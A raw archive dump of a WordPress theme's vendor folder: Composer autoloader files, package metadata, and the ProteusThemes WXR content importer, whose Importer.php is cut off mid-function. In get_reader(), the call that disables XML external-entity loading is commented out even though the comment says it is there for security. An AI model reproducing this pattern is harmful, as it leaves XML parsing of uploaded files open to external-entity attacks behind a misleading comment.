getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); } /** * Unregisters this instance as an autoloader. */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); } /** * Loads the given class or interface. * * @param string $class The name of the class * @return bool|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath.'\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. */ function includeFile($file) { include $file; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/autoload_real.php������������������������������������������������������������0000644�����������������00000003342�15154650146�0014513 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload_real.php @generated by Composer class ComposerAutoloaderInit04828d80146b9fd8fbee50609a30f85a { private static $loader; public static function loadClassLoader($class) { if ('Composer\Autoload\ClassLoader' === $class) { require __DIR__ . '/ClassLoader.php'; } } public static function getLoader() { if (null !== self::$loader) { return self::$loader; } spl_autoload_register(array('ComposerAutoloaderInit04828d80146b9fd8fbee50609a30f85a', 'loadClassLoader'), true, true); self::$loader = $loader = new \Composer\Autoload\ClassLoader(); spl_autoload_unregister(array('ComposerAutoloaderInit04828d80146b9fd8fbee50609a30f85a', 'loadClassLoader')); $useStaticLoader = PHP_VERSION_ID >= 50600 && !defined('HHVM_VERSION') && (!function_exists('zend_loader_file_encoded') || !zend_loader_file_encoded()); if ($useStaticLoader) { require_once __DIR__ . '/autoload_static.php'; call_user_func(\Composer\Autoload\ComposerStaticInit04828d80146b9fd8fbee50609a30f85a::getInitializer($loader)); } else { $map = require __DIR__ . '/autoload_namespaces.php'; foreach ($map as $namespace => $path) { $loader->set($namespace, $path); } $map = require __DIR__ . '/autoload_psr4.php'; foreach ($map as $namespace => $path) { $loader->setPsr4($namespace, $path); } $classMap = require __DIR__ . '/autoload_classmap.php'; if ($classMap) { $loader->addClassMap($classMap); } } $loader->register(true); return $loader; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/autoload_psr4.php������������������������������������������������������������0000644�����������������00000000602�15154650146�0014454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload_psr4.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), 'ProteusThemes\\WPContentImporter2\\' => array($vendorDir . '/proteusthemes/wp-content-importer-v2/src'), //'Monolog\\' => array($vendorDir . '/monolog/monolog/src/Monolog'), ); ������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/autoload_classmap.php��������������������������������������������������������0000644�����������������00000000223�15154650146�0015366 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload_classmap.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/autoload_namespaces.php������������������������������������������������������0000644�����������������00000000225�15154650146�0015704 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload_namespaces.php @generated by Composer $vendorDir = dirname(dirname(__FILE__)); $baseDir = dirname($vendorDir); return array( ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/autoload_static.php����������������������������������������������������������0000644�����������������00000002326�15154650146�0015060 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload_static.php @generated by Composer namespace Composer\Autoload; class ComposerStaticInit04828d80146b9fd8fbee50609a30f85a { public static $prefixLengthsPsr4 = array ( 'P' => array ( 'Psr\\Log\\' => 8, 'ProteusThemes\\WPContentImporter2\\' => 33, ), /*'M' => array ( 'Monolog\\' => 8, ),*/ ); public static $prefixDirsPsr4 = array ( 'Psr\\Log\\' => array ( 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', ), 'ProteusThemes\\WPContentImporter2\\' => array ( 0 => __DIR__ . '/..' . '/proteusthemes/wp-content-importer-v2/src', ), /*'Monolog\\' => array ( 0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog', ),*/ ); public static function getInitializer(ClassLoader $loader) { return \Closure::bind(function () use ($loader) { $loader->prefixLengthsPsr4 = ComposerStaticInit04828d80146b9fd8fbee50609a30f85a::$prefixLengthsPsr4; $loader->prefixDirsPsr4 = ComposerStaticInit04828d80146b9fd8fbee50609a30f85a::$prefixDirsPsr4; }, null, ClassLoader::class); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/LICENSE����������������������������������������������������������������������0000644�����������������00000002056�15154650146�0012175 0����������������������������������������������������������������������������������������������������ustar�00������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������� Copyright (c) Nils Adermann, Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/composer/installed.json���������������������������������������������������������������0000644�����������������00000014220�15154650146�0014036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������[ { "name": "monolog/monolog", "version": "1.23.0", "version_normalized": "1.23.0.0", "source": { "type": "git", "url": "https://github.com/Seldaek/monolog.git", "reference": "fd8c787753b3a2ad11bc60c063cff1358a32a3b4" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/Seldaek/monolog/zipball/fd8c787753b3a2ad11bc60c063cff1358a32a3b4", "reference": "fd8c787753b3a2ad11bc60c063cff1358a32a3b4", "shasum": "" }, "require": { "php": ">=5.3.0", "psr/log": "~1.0" }, "provide": { "psr/log-implementation": "1.0.0" }, "require-dev": { "aws/aws-sdk-php": "^2.4.9 || ^3.0", "doctrine/couchdb": "~1.0@dev", "graylog2/gelf-php": "~1.0", "jakub-onderka/php-parallel-lint": "0.9", "php-amqplib/php-amqplib": "~2.4", "php-console/php-console": "^3.1.3", "phpunit/phpunit": "~4.5", "phpunit/phpunit-mock-objects": "2.3.0", "ruflin/elastica": ">=0.90 <3.0", "sentry/sentry": "^0.13", "swiftmailer/swiftmailer": "^5.3|^6.0" }, "suggest": { "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "doctrine/couchdb": "Allow sending log messages to a CouchDB server", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-mongo": "Allow sending log messages to a MongoDB server", "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "mongodb/mongodb": "Allow sending log messages to a MongoDB server via PHP Driver", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "php-console/php-console": "Allow sending log messages to Google Chrome", "rollbar/rollbar": "Allow sending log messages to Rollbar", "ruflin/elastica": "Allow sending log messages to an Elastic Search server", "sentry/sentry": "Allow sending log messages to a Sentry server" }, "time": "2017-06-19T01:22:40+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "2.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Monolog\\": "src/Monolog" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "http://seld.be" } ], "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "homepage": "http://github.com/Seldaek/monolog", "keywords": [ "log", "logging", "psr-3" ] }, { "name": "proteusthemes/wp-content-importer-v2", "version": "v2.1.0", "version_normalized": "2.1.0.0", "source": { "type": "git", "url": "https://github.com/proteusthemes/WordPress-Importer.git", "reference": "7414ce1bfb56a8be780c520ed63e99cac7ac403b" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/proteusthemes/WordPress-Importer/zipball/7414ce1bfb56a8be780c520ed63e99cac7ac403b", "reference": "7414ce1bfb56a8be780c520ed63e99cac7ac403b", "shasum": "" }, "time": "2018-04-13T07:31:18+00:00", "type": "library", "installation-source": "dist", "autoload": { "psr-4": { "ProteusThemes\\WPContentImporter2\\": "src/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "GPL-2.0+" ], "authors": [ { "name": "Primoz Cigler", "email": "primoz@proteusnet.com" }, { "name": "Gregor Capuder", "email": "capuderg@gmail.com" }, { "name": "Humanmade contributors", "homepage": "https://github.com/humanmade/WordPress-Importer/graphs/contributors" } ], "description": "Improved WP content importer used in OCDI plugin and MerlinWP.", "keywords": [ "content", "import", "proteusthemes", "theme", "wordpress", "wp" ] }, { "name": "psr/log", "version": "1.0.2", "version_normalized": "1.0.2.0", "source": { "type": "git", "url": "https://github.com/php-fig/log.git", "reference": "4ebe3a8bf773a19edfe0a84b6585ba3d401b724d" }, "dist": { "type": "zip", "url": "https://api.github.com/repos/php-fig/log/zipball/4ebe3a8bf773a19edfe0a84b6585ba3d401b724d", "reference": "4ebe3a8bf773a19edfe0a84b6585ba3d401b724d", "shasum": "" }, "require": { "php": ">=5.3.0" }, "time": "2016-10-10T12:19:37+00:00", "type": "library", "extra": { "branch-alias": { "dev-master": "1.0.x-dev" } }, "installation-source": "dist", "autoload": { "psr-4": { "Psr\\Log\\": "Psr/Log/" } }, "notification-url": "https://packagist.org/downloads/", "license": [ "MIT" ], "authors": [ { "name": "PHP-FIG", "homepage": "http://www.php-fig.org/" } ], "description": "Common interface for logging libraries", "homepage": "https://github.com/php-fig/log", "keywords": [ "log", "psr", "psr-3" ] } ] ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/composer.json������������������������������������0000644�����������������00000001234�15154650146�0021251 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{ "name": "proteusthemes/wp-content-importer-v2", "description": "Improved WP content importer used in OCDI plugin and MerlinWP.", "keywords": ["wp", "wordpress", "proteusthemes", "theme", "import", "content"], "license": "GPL-2.0+", "authors": [ { "name": "Gregor Capuder", "email": "capuderg@gmail.com" }, { "name": "Primoz Cigler", "email": "primoz@proteusnet.com" }, { "name" : "Humanmade contributors", "homepage" : "https://github.com/humanmade/WordPress-Importer/graphs/contributors" } ], "autoload": { "psr-4": { "ProteusThemes\\WPContentImporter2\\": "src/" } } }��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/README.md����������������������������������������0000644�����������������00000001730�15154650146�0020007 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# WP content importer used in OCDI and WP Merlin List of files from the original repo: - class-logger-cli.php, - class-logger.php, - class-wxr-importer.php One click demo import plugin page: https://wordpress.org/plugins/one-click-demo-import/ One click demo import github page: https://github.com/proteusthemes/one-click-demo-import WP Merlin: https://github.com/richtabor/MerlinWP ## Changelog *February 7th 2018* - Clean up the WXRImporter code - Created a "wrapper" class `Importer.php` with additional functionality (importing by smaller parts -> users, categories, tags, terms and posts) - tagging versin 2.0 *October 29th 2016* - Cleaned up this forked repo, to only include the thing we need in the OCDI plugin. - Changed the class names and use psr-4 autoloading in composer.json *October 26th 2016* - made a fork form the original repo - merged a pull request for "term meta data" from the original repo: https://github.com/humanmade/WordPress-Importer/pull/18 ����������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/src/WPImporterLogger.php�������������������������0000644�����������������00000006522�15154650146�0023244 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace ProteusThemes\WPContentImporter2; /** * Describes a logger instance * * Based on PSR-3: http://www.php-fig.org/psr/psr-3/ * * The message MUST be a string or object implementing __toString(). * * The message MAY contain placeholders in the form: {foo} where foo * will be replaced by the context data in key "foo". * * The context array can contain arbitrary data, the only assumption that * can be made by implementors is that if an Exception instance is given * to produce a stack trace, it MUST be in a key named "exception". * * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md * for the full interface specification. */ class WPImporterLogger { /** * System is unusable. * * @param string $message * @param array $context * @return null */ public function emergency( $message, array $context = array() ) { return $this->log( 'emergency', $message, $context ); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * @return null */ public function alert( $message, array $context = array() ) { return $this->log( 'alert', $message, $context ); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * @return null */ public function critical( $message, array $context = array() ) { return $this->log( 'critical', $message, $context ); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * @return null */ public function error( $message, array $context = array()) { return $this->log( 'error', $message, $context ); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * @return null */ public function warning( $message, array $context = array() ) { return $this->log( 'warning', $message, $context ); } /** * Normal but significant events. * * @param string $message * @param array $context * @return null */ public function notice( $message, array $context = array() ) { return $this->log( 'notice', $message, $context ); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * @return null */ public function info( $message, array $context = array() ) { return $this->log( 'info', $message, $context ); } /** * Detailed debug information. * * @param string $message * @param array $context * @return null */ public function debug( $message, array $context = array() ) { return $this->log( 'debug', $message, $context ); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * @return null */ public function log( $level, $message, array $context = array() ) { $this->messages[] = array( 'timestamp' => time(), 'level' => $level, 'message' => $message, 'context' => $context, ); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/src/WPImporterLoggerCLI.php����������������������0000644�����������������00000001546�15154650146�0023575 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace ProteusThemes\WPContentImporter2; class WPImporterLoggerCLI extends WPImporterLogger { public $min_level = 'notice'; /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * @return null */ public function log( $level, $message, array $context = array() ) { if ( $this->level_to_numeric( $level ) < $this->level_to_numeric( $this->min_level ) ) { return; } printf( '[%s] %s' . PHP_EOL, strtoupper( $level ), $message ); } public static function level_to_numeric( $level ) { $levels = array( 'emergency' => 8, 'alert' => 7, 'critical' => 6, 'error' => 5, 'warning' => 4, 'notice' => 3, 'info' => 2, 'debug' => 1, ); if ( ! isset( $levels[ $level ] ) ) { return 0; } return $levels[ $level ]; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/proteusthemes/wp-content-importer-v2/src/Importer.php���������������������������������0000644�����������������00000040063�15154650146�0021633 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The main importer class, extending the slightly modified WP importer 2.0 class WXRImporter */ namespace ProteusThemes\WPContentImporter2; use XMLReader; class Importer extends WXRImporter { /** * Time in milliseconds, marking the beginning of the import. * * @var float */ private $start_time; /** * Importer constructor. * Look at the parent constructor for the options parameters. * * @param array $options The importer options. * @param object $logger The logger object. */ public function __construct( $options = array(), $logger = null ) { parent::__construct( $options ); $this->set_logger( $logger ); // Check, if a new AJAX request is required. add_filter( 'wxr_importer.pre_process.post', array( $this, 'new_ajax_request_maybe' ) ); // WooCommerce product attributes registration. if ( class_exists( 'WooCommerce' ) ) { add_filter( 'wxr_importer.pre_process.term', array( $this, 'woocommerce_product_attributes_registration' ), 10, 1 ); } } /** * Get the XML reader for the file. * * @param string $file Path to the XML file. * * @return XMLReader|boolean Reader instance on success, false otherwise. */ protected function get_reader( $file ) { // Avoid loading external entities for security $old_value = null; if ( function_exists( 'libxml_disable_entity_loader' ) ) { // $old_value = libxml_disable_entity_loader( true ); } if ( ! class_exists( 'XMLReader' ) ) { $this->logger->critical( __( 'The XMLReader class is missing! Please install the XMLReader PHP extension on your server', 'wordpress-importer' ) ); return false; } $reader = new XMLReader(); $status = $reader->open( $file ); if ( ! is_null( $old_value ) ) { // libxml_disable_entity_loader( $old_value ); } if ( ! $status ) { $this->logger->error( __( 'Could not open the XML file for parsing!', 'wordpress-importer' ) ); return false; } return $reader; } /** * Get the basic import content data. * Which elements are present in this import file (check possible elements in the $data variable)? * * @param $file * * @return array|bool */ public function get_basic_import_content_data( $file ) { $data = array( 'users' => false, 'categories' => false, 'tags' => false, 'terms' => false, 'posts' => false, ); // Get the XML reader and open the file. $reader = $this->get_reader( $file ); if ( empty( $reader ) ) { return false; } // Start parsing! while ( $reader->read() ) { // Only deal with element opens. if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:author': // Skip, if the users were already detected. if ( $data['users'] ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); // Skip, if there was an error in parsing the author node. if ( is_wp_error( $parsed ) ) { $reader->next(); break; } $data['users'] = true; // Handled everything in this node, move on to the next. $reader->next(); break; case 'item': // Skip, if the posts were already detected. if ( $data['posts'] ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); // Skip, if there was an error in parsing the item node. if ( is_wp_error( $parsed ) ) { $reader->next(); break; } $data['posts'] = true; // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': $data['categories'] = true; // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:tag': $data['tags'] = true; // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:term': $data['terms'] = true; // Handled everything in this node, move on to the next $reader->next(); break; } } return $data; } /** * Get the number of posts (posts, pages, CPT, attachments), that the import file has. * * @param $file * * @return int */ public function get_number_of_posts_to_import( $file ) { $reader = $this->get_reader( $file ); $counter = 0; if ( empty( $reader ) ) { return $counter; } // Start parsing! while ( $reader->read() ) { // Only deal with element opens. if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } if ( 'item' == $reader->name ) { $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); // Skip, if there was an error in parsing the item node. if ( is_wp_error( $parsed ) ) { $reader->next(); continue; } $counter++; } } return $counter; } /** * The main controller for the actual import stage. * * @param string $file Path to the WXR file for importing. * @param array $options Import options (which parts to import). * * @return boolean */ public function import( $file, $options = array() ) { add_filter( 'import_post_meta_key', array( $this, 'is_valid_meta_key' ) ); add_filter( 'http_request_timeout', array( &$this, 'bump_request_timeout' ) ); // Start the import timer. $this->start_time = microtime( true ); // Set the existing import data, from previous AJAX call, if any. $this->restore_import_data_transient(); // Set the import options defaults. if ( empty( $options ) ) { $options = array( 'users' => false, 'categories' => true, 'tags' => true, 'terms' => true, 'posts' => true, ); } $result = $this->import_start( $file ); if ( is_wp_error( $result ) ) { $this->logger->error( __( 'Content import start error: ', 'wordpress-importer' ) . $result->get_error_message() ); return false; } // Get the actual XML reader. $reader = $this->get_reader( $file ); if ( empty( $reader ) ) { return false; } // Set the version to compatibility mode first $this->version = '1.0'; // Reset other variables $this->base_url = ''; // Start parsing! while ( $reader->read() ) { // Only deal with element opens. if ( $reader->nodeType !== XMLReader::ELEMENT ) { continue; } switch ( $reader->name ) { case 'wp:wxr_version': // Upgrade to the correct version $this->version = $reader->readString(); if ( version_compare( $this->version, self::MAX_WXR_VERSION, '>' ) ) { $this->logger->warning( sprintf( __( 'This WXR file (version %s) is newer than the importer (version %s) and may not be supported. Please consider updating.', 'wordpress-importer' ), $this->version, self::MAX_WXR_VERSION ) ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:base_site_url': $this->base_url = $reader->readString(); // Handled everything in this node, move on to the next $reader->next(); break; case 'item': if ( empty( $options['posts'] ) ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_post_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $this->process_post( $parsed['data'], $parsed['meta'], $parsed['comments'], $parsed['terms'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:author': if ( empty( $options['users'] ) ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_author_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_author( $parsed['data'], $parsed['meta'] ); if ( is_wp_error( $status ) ) { $this->log_error( $status ); } // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:category': if ( empty( $options['categories'] ) ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'category' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:tag': if ( empty( $options['tags'] ) ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_term_node( $node, 'tag' ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; case 'wp:term': if ( empty( $options['terms'] ) ) { $reader->next(); break; } $node = $reader->expand(); $parsed = $this->parse_term_node( $node ); if ( is_wp_error( $parsed ) ) { $this->log_error( $parsed ); // Skip the rest of this post $reader->next(); break; } $status = $this->process_term( $parsed['data'], $parsed['meta'] ); // Handled everything in this node, move on to the next $reader->next(); break; default: // Skip this node, probably handled by something already break; } } // Now that we've done the main processing, do any required // post-processing and remapping. $this->post_process(); if ( $this->options['aggressive_url_search'] ) { $this->replace_attachment_urls_in_content(); } $this->remap_featured_images(); $this->import_end(); // Set the current importer state, so the data can be used on the next AJAX call. $this->set_current_importer_data(); return true; } /** * Import users only. * * @param string $file Path to the import file. */ public function import_users( $file ) { return $this->import( $file, array( 'users' => true ) ); } /** * Import categories only. * * @param string $file Path to the import file. */ public function import_categories( $file ) { return $this->import( $file, array( 'categories' => true ) ); } /** * Import tags only. * * @param string $file Path to the import file. */ public function import_tags( $file ) { return $this->import( $file, array( 'tags' => true ) ); } /** * Import terms only. * * @param string $file Path to the import file. */ public function import_terms( $file ) { return $this->import( $file, array( 'terms' => true ) ); } /** * Import posts only. * * @param string $file Path to the import file. */ public function import_posts( $file ) { return $this->import( $file, array( 'posts' => true ) ); } /** * Check if we need to create a new AJAX request, so that server does not timeout. * And fix the import warning for missing post author. * * @param array $data current post data. * @return array */ public function new_ajax_request_maybe( $data ) { $time = microtime( true ) - $this->start_time; // We should make a new ajax call, if the time is right. if ( $time > apply_filters( 'pt-importer/time_for_one_ajax_call', 20 ) ) { $response = apply_filters( 'pt-importer/new_ajax_request_response_data', array( 'status' => 'newAJAX', 'log' => 'Time for new AJAX request!: ' . $time, 'num_of_imported_posts' => count( $this->mapping['post'] ), ) ); // Add message to log file. $this->logger->info( __( 'New AJAX call!', 'wordpress-importer' ) ); // Set the current importer state, so it can be continued on the next AJAX call. $this->set_current_importer_data(); // Send the request for a new AJAX call. wp_send_json( $response ); } // Set importing author to the current user. // Fixes the [WARNING] Could not find the author for ... log warning messages. $current_user_obj = wp_get_current_user(); $data['post_author'] = $current_user_obj->user_login; return $data; } /** * Save current importer data to the DB, for later use. */ public function set_current_importer_data() { $data = apply_filters( 'pt-importer/set_current_importer_data', array( 'options' => $this->options, 'mapping' => $this->mapping, 'requires_remapping' => $this->requires_remapping, 'exists' => $this->exists, 'user_slug_override' => $this->user_slug_override, 'url_remap' => $this->url_remap, 'featured_images' => $this->featured_images, ) ); $this->save_current_import_data_transient( $data ); } /** * Set the importer data to the transient. * * @param array $data Data to be saved to the transient. */ public function save_current_import_data_transient( $data ) { set_transient( 'pt_importer_data', $data, MINUTE_IN_SECONDS ); } /** * Restore the importer data from the transient. * * @return boolean */ public function restore_import_data_transient() { if ( $data = get_transient( 'pt_importer_data' ) ) { $this->options = empty( $data['options'] ) ? array() : $data['options']; $this->mapping = empty( $data['mapping'] ) ? array() : $data['mapping']; $this->requires_remapping = empty( $data['requires_remapping'] ) ? array() : $data['requires_remapping']; $this->exists = empty( $data['exists'] ) ? array() : $data['exists']; $this->user_slug_override = empty( $data['user_slug_override'] ) ? array() : $data['user_slug_override']; $this->url_remap = empty( $data['url_remap'] ) ? array() : $data['url_remap']; $this->featured_images = empty( $data['featured_images'] ) ? array() : $data['featured_images']; do_action( 'pt-importer/restore_import_data_transient' ); return true; } return false; } /** * Get the importer mapping data. * * @return array An empty array or an array of mapping data. */ public function get_mapping() { return $this->mapping; } /** * Hook into the pre-process term filter of the content import and register the * custom WooCommerce product attributes, so that the terms can then be imported normally. * * This should probably be removed once the WP importer 2.0 support is added in WooCommerce. * * Fixes: [WARNING] Failed to import pa_size L warnings in content import. * Code from: woocommerce/includes/admin/class-wc-admin-importers.php (ver 2.6.9). * * Github issue: https://github.com/proteusthemes/one-click-demo-import/issues/71 * * @param array $date The term data to import. * @return array The unchanged term data. */ public function 